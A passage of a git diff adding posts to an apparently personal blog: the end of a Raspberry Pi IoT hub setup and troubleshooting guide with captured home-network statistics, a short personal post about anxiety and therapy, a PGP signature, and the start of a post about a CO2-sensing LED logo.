ALFA away from the Pi and cables; + scan and switch to a cleaner **2.4 GHz** channel (1/6/11), keep width at **20 MHz**. + +- Clients connect but no internet → + verify IP forward & NAT: +```bash +sudo sysctl net.ipv4.ip_forward +``` + +If it's 0, enable it permanently and reload +```bash +echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf +sudo sysctl --system +``` + +Verify the nftables NAT rule exists (masquerade out via wlan0) +```bash +sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p' +``` + +Add it if missing +```bash +sudo nft add table ip nat +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }' +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade' +``` + +Persist nftables (Ubuntu) +```bash +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +sudo systemctl enable --now nftables +``` + + +## Quick service sanity checks + +### hostapd (AP) +```bash +sudo systemctl status hostapd --no-pager +sudo journalctl -u hostapd -n 60 --no-pager +iw dev wlx00c0cab7ab29 info +iw dev wlx00c0cab7ab29 station dump +``` + +### dnsmasq (DHCP on IoT side) +```bash +sudo systemctl status dnsmasq --no-pager +sudo journalctl -u dnsmasq -n 80 --no-pager +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true +tail -n 50 /var/lib/misc/dnsmasq.leases +``` + +### Avahi (mDNS reflector) +```bash +grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf +sudo systemctl status avahi-daemon --no-pager +sudo journalctl -u avahi-daemon -n 60 --no-pager +``` + + +## Basic connectivity tests from a client on IoT_hub + +### got DHCP? +```bash +ip addr show +ip route +cat /etc/resolv.conf +``` + +### can you reach the Pi and the internet? +```bash +ping -c 3 192.168.50.1 +ping -c 3 1.1.1.1 +ping -c 3 google.com +``` + +### DNS works end-to-end? +```bash + +dig +short _airplay._tcp.local @224.0.0.251 -p 5353 +``` +(Or use a Bonjour browser app to confirm the HomePod is discoverable.) + + +## If AirPlay/HomeKit discovery is flaky across subnets + +### make sure mDNS is allowed both directions on the Pi +```bash + +sudo nft add rule inet filter input udp dport 5353 accept +sudo nft add rule inet filter forward udp dport 5353 accept +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +``` + +### restart Avahi cleanly and re-announce +```bash +sudo systemctl restart avahi-daemon +sudo journalctl -u avahi-daemon -n 40 --no-pager +``` + +### from the Pi, watch mDNS traffic on both sides (you should see queries/answers) +```bash +sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv +``` + +(in another terminal:) +```bash +sudo tcpdump -ni wlan0 udp port 5353 -vvv +``` + + +## Throughput + airtime sanity (optional) + +### simple iperf3 (install on Pi and a client) +```bash +sudo apt-get update && sudo apt-get install -y iperf3 +``` +(on the Pi:) `iperf3 -s` +(on a client:) `iperf3 -c 192.168.50.1 -P 3 -t 10` + +### check channel utilization/interference (from Pi) +```bash +sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p' +``` +(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd) + + +## Scaling tips (lots of tiny IoT devices) + +### hostapd tweaks (add to hostapd.conf, then restart) +(reduce management overhead slightly; keep conservative for compatibility) +```bash +beacon_int=100 +dtim_period=2 +wmm_enabled=1 +ap_isolate=0 +max_num_sta=256 # logical cap; real limit is airtime/driver +``` + +```bash +sudo systemctl restart hostapd +``` + +### if some ESP/low-power clients are sticky or nap too hard: +(device-side) disable aggressive power saving if supported +(AP-side) keep channel width at 20 MHz and `require_ht=0` for legacy clients + + +## “Clients connect but no internet” quick checklist + +### Pi has a default route via upstream? +```bash +ip route | grep default +``` + +### NAT counters are increasing when clients surf? +```bash +sudo nft list chain ip nat postrouting -a +``` + +### connections tracked? +```bash +sudo conntrack -L -o extended | head -n 40 +``` + +### last resort: bounce the pieces +```bash +sudo systemctl restart hostapd dnsmasq avahi-daemon +sudo systemctl restart NetworkManager || true +sudo systemctl restart nftables +``` + +## Network Traffic (embedded from captures) + +For fun, and curiousity! + +### 1) DHCP leases (who joined the IoT network) +```bash +1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc +``` + +### 2) Top talkers by bytes (hosts table) +```bash +192.168.50.233,7346 +192.168.50.118,7216 +192.168.50.131,7216 +17.253.53.203,7040 +54.217.122.41,6271 +192.168.50.216,5392 +192.168.50.104,3058 +192.168.50.189,2278 +17.242.218.132,1802 +192.168.50.134,1750 +192.168.50.196,1653 +3.122.71.119,639 +18.196.19.65,570 +161.117.178.131,391 +17.253.53.201,148 +17.57.146.25,90 +10.172.72.196,66 +224.0.0.251,0 +224.0.0.2,0 +255.255.255.255,0 +``` + +### 3) Heaviest flows (src, dst, proto, dport, bytes) +```bash +192.168.50.202,192.168.50.131,TCP,59903,402 +192.168.50.202,192.168.50.118,TCP,59807,402 +161.117.178.131,192.168.50.134,TCP,58246,391 +192.168.50.216,192.168.50.202,UDP,5353,336 +192.168.50.202,192.168.50.189,UDP,5353,312 +192.168.50.202,192.168.50.196,UDP,5353,234 +17.253.53.203,192.168.50.202,TCP,64726,222 +192.168.50.216,17.57.146.25,TCP,5223,172 +192.168.50.216,192.168.50.233,UDP,5353,162 +192.168.50.202,192.168.50.104,UDP,5353,156 +17.253.53.201,192.168.50.202,TCP,64727,148 +192.168.50.202,17.253.53.201,TCP,443,132 +192.168.50.216,224.0.0.251,IP,0,92 +192.168.50.216,224.0.0.2,IP,0,92 +17.57.146.25,192.168.50.216,TCP,64544,90 +192.168.50.216,192.168.50.118,UDP,5353,75 +192.168.50.216,192.168.50.131,UDP,5353,75 +192.168.50.216,192.168.50.134,UDP,5353,75 +192.168.50.216,10.172.72.196,TCP,59593,70 +10.172.72.196,192.168.50.216,TCP,51638,66 +``` + +### 4) Conntrack snapshot (active connections inventory) +```bash +ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 +ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 +ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 +ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 +ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 +ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 +``` + +### 5) Part of Raw packet capture + +- What’s inside? +```bash +tshark -r iot_ap_120s.pcap -q -z io,stat,60 + + +================================== +| IO Statistics | +| | +| Duration: 119.773534 secs | +| Interval: 60 secs | +| | +| Col 1: Frames and bytes | +|--------------------------------| +| |1 | +| Interval | Frames | Bytes | +|--------------------------------| +| 0 <> 60 | 400 | 60449 | +| 60 <> Dur | 24672 | 30179911 | +================================== +``` + +- Protocol hierarchy (what kinds of traffic?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z io,phs + +=================================================================== +Protocol Hierarchy Statistics +Filter: + +eth frames:25072 bytes:30240360 + ip frames:24706 bytes:30195993 + udp frames:349 bytes:94583 + mdns frames:241 bytes:60693 + data frames:32 bytes:2240 + quic frames:76 bytes:31650 + quic frames:2 bytes:2484 + tcp frames:24353 bytes:30101226 + tls frames:2413 bytes:3493680 + tcp.segments frames:2256 bytes:3378795 + tls frames:2222 bytes:3353799 + data frames:147 bytes:71717 + tcp.segments frames:5 bytes:7550 + igmp frames:4 bytes:184 + arp frames:150 bytes:6300 + ipv6 frames:216 bytes:38067 + icmpv6 frames:124 bytes:10704 + udp frames:79 bytes:25415 + data frames:2 bytes:132 + mdns frames:77 bytes:25283 + tcp frames:13 bytes:1948 + data frames:1 bytes:90 +=================================================================== +``` + +- Top IP conversations (who talked to whom?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z conv,ip +================================================================================ +IPv4 Conversations +Filter: + | <- | | -> | | Total | Relative | Duration | + | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | +192.168.50.202 <-> 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 +192.168.50.1 <-> 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 +192.168.50.1 <-> 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 +192.168.50.202 <-> 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 +192.168.50.202 <-> 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 +192.168.50.202 <-> 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 +192.168.50.202 <-> 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 +192.168.50.202 <-> 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678 +192.168.50.202 <-> 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 +192.168.50.202 <-> 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 +192.168.50.104 <-> 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 +17.242.218.132 <-> 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 +192.168.50.189 <-> 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 +192.168.50.131 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 +192.168.50.118 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 +192.168.50.233 <-> 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 +192.168.50.196 <-> 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 +192.168.50.216 <-> 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 +192.168.50.134 <-> 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 +192.168.50.202 <-> 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 +192.168.50.202 <-> 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 +192.168.50.202 <-> 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 +192.168.50.202 <-> 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 +192.168.50.202 <-> 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 +192.168.50.216 <-> 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 +192.168.50.216 <-> 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 +192.168.50.216 <-> 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 +192.168.50.202 <-> 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 +192.168.50.202 <-> 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 +192.168.50.216 <-> 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 +192.168.50.216 <-> 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 +192.168.50.216 <-> 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 +192.168.50.216 <-> 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 +192.168.50.216 <-> 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 +192.168.50.216 <-> 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 +================================================================================ +``` + +- Fast “top talkers” table (by source IP) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \ + | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \ + | sort -k2,2nr | head -n 20 +17.253.37.195 29540349 +192.168.50.202 422414 +192.168.50.1 75521 +2.19.120.151 44554 +17.253.53.202 22016 +1.1.1.1 20675 +23.58.105.122 9936 +17.56.138.35 7602 +192.168.50.233 7346 +192.168.50.118 7216 +192.168.50.131 7216 +17.253.53.203 7040 +54.217.122.41 6271 +192.168.50.216 5392 +192.168.50.104 3058 +192.168.50.189 2278 +17.242.218.132 1802 +192.168.50.134 1750 +192.168.50.196 1653 +3.122.71.119 639 +``` + +- DNS & mDNS highlights (what names show up?) +```bash +# DNS queries (unicast) +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \ + -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 +Nov 23, 2025 11:48:38.131162000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:42.961690000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:42.962245000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:42.962911000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:43.098378000 CET 192.168.50.1 MSS110-f691._hap._tcp.local +Nov 23, 2025 11:48:43.158641000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:43.201440000 CET 192.168.50.202 _companion-link._tcp.local +Nov 23, 2025 11:48:43.532623000 CET 192.168.50.1 MSS110-080d._hap._tcp.local +Nov 23, 2025 11:48:43.962673000 CET 192.168.50.1 _hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:49.110167000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:49.110760000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:49.111395000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:49.272920000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:49.311002000 CET 192.168.50.1 MSS110-0ba7._hap._tcp.local +Nov 23, 2025 11:48:49.619376000 CET 192.168.50.1 Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local +Nov 23, 2025 11:48:50.115506000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:55.037844000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:55.038380000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:55.038926000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:55.060503000 CET 192.168.50.202 _companion-link._tcp.local + +# mDNS service announcements (AirPlay/HomeKit live here) +❯ tshark -r iot_ap_120s.pcap -Y "udp.port==5353 && dns" \ + -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \ + | head -n 30 +``` + +The latter had no output as I wasn't able to make that work with a static route and relied on Tailscale. (?) + +- TLS SNI (which cloud endpoints?) +```bash +❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \ + -T fields -e ip.dst -e tls.handshake.extensions_server_name \ + | sort | uniq -c | sort -k1,1nr | head -n 20 + 1 1.1.1.1 one.one.one.one + 1 17.253.37.195 streamingaudio.itunes.apple.com + 1 17.253.53.202 pancake.apple.com + 1 17.253.53.203 radio-activity.itunes.apple.com + 1 17.56.138.35 cma.itunes.apple.com + 1 2.19.120.151 play.itunes.apple.com + 1 23.58.105.122 librarydaap.itunes.apple.com + 1 54.217.122.41 guzzoni.apple.com +``` + +- Ports in use (quick heat check) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \ + | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \ + | sort -k2,2nr | head -n 20 +64725 19588 +443 4086 +5353 318 +49395 109 +7000 109 +55514 102 +55510 101 +64721 47 +54806 40 +20002 32 +64722 27 +8883 23 +49154 21 +55515 21 +64723 19 +64728 19 +64729 19 +5223 14 +64724 14 +64686 13 +``` + + +--- + +## Epilogue +I've been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let's cross our fingers and hope this setup finally works nicely. + + + +--- + +{{< sigdl >}} diff --git a/content/posts/how_I_am_doing.md b/content/posts/how_I_am_doing.md new file mode 100644 index 0000000..162d831 --- /dev/null +++ b/content/posts/how_I_am_doing.md @@ -0,0 +1,32 @@ ++++ +title = 'How am I doing?' +date = 2025-12-15T08:27:13Z +draft = false ++++ + +This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I'm interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it's draining me. +Draining me of happiness, being in pursuit of happyness. + +Idk what is wrong with me. Idk why I can't let go. I don't know why I need so much closure. Idk. I really don't. +What I know is that I'm mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. + +This "others" in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage. + +Idk what to do. I feel like I'm stuck in this life that I don't like, with so much that I love. Does this even make sense? Idk. +I know I'm full of love, and I'm willing to give it to someone. + +Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don't know if I'm lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people's hand, and how badly I could get hurt. + +He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows. + + + +--- + +{{< sigdl >}} diff --git a/content/posts/inet_logo.asc b/content/posts/inet_logo.asc new file mode 100644 index 0000000..612cb51 --- /dev/null +++ b/content/posts/inet_logo.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qpE8QAK6SQRXn7tg6fdXP8ZtsRNLE +3nOc3esCbMYzOT7a4/GXt0uAuSpwNpkz+PS2vHFQwXQZqW3XVJ2VBkbUjgdcuDf1 +Y2yE4mNkZQvdbSepHx7HWvxjXRqfd4akRFD9nox5LMcSGTKyyirb1sfTxBGT1GPB +4RRHYeHuVNrnmBQyvb+gGTRbK0m4VoXYBTqM6HmWJFHTxDSuyRJe6aWbU2zOPpDd +DiKh4BWgq+kuailwWIJmLWjUfI5CLakCAKZPWx/COGcxvUh0qiXHqwKThaUJV50X +2VwehGCWRlUJXuYd7eE2jgMmBC+UgmEri4oUU69ofsAPVteI0St3aDegyR/g5KuZ +MJfAgWwfg0oLTQpJ9c+xkpDcRz1iRLXcOTVRW0WdLgOF1hRxS1C0fmSNQoQG7i04 +MpBjNy+SJpheyzUextzg5z/9hDtOmhdQHMJgHgO93o62UwBraQyj3Qesh2O7rCoI +hxV37sBWgXZYMra13H9Et0q7Nur/OU6d/WDWkbEWPhmhfuusoBdcrjjPE4xzFPv8 +pdbHxCQIXmb6ns8oQxL81Ue7flSFsfzeVoVMisC8tGN+G0nNPFexXfynSrAMAU7i +hfSiCQUjsqVZJ+Ao7uNHXRVf+bB4jGWZya7Upq/ZIMSJQGi0aZevY72SqZa/BpEJ +7CFj2KaKaQ/tZYLK34DZ +=AMrA +-----END PGP SIGNATURE----- diff --git a/content/posts/inet_logo.md b/content/posts/inet_logo.md new file mode 100644 index 0000000..4708824 --- /dev/null +++ b/content/posts/inet_logo.md @@ -0,0 +1,539 @@ + +--- +title: "INET Logo That Breathes — From CAD to LEDs to a Calm Little Server" +date: 2025-10-17 +tags: ["raspberrypi","ws2812","scd41","iot","flask","fabrication","soldering"] +cover: + image: /images/inet/inet_animation_collage.jpg + alt: "Six looks of the INET LED logo" + caption: "Design → print → solder → code → glow." +draft: false +--- + +> I didn’t add a warning sign to the room. I taught the **logo** to breathe. ;-D + +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it's not good at is **ventilating** itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! + +So I crafted the INET logo and gave it a 9-5 job: be a **polite barometer**. If the air is fresh, it glows cool and calm. If 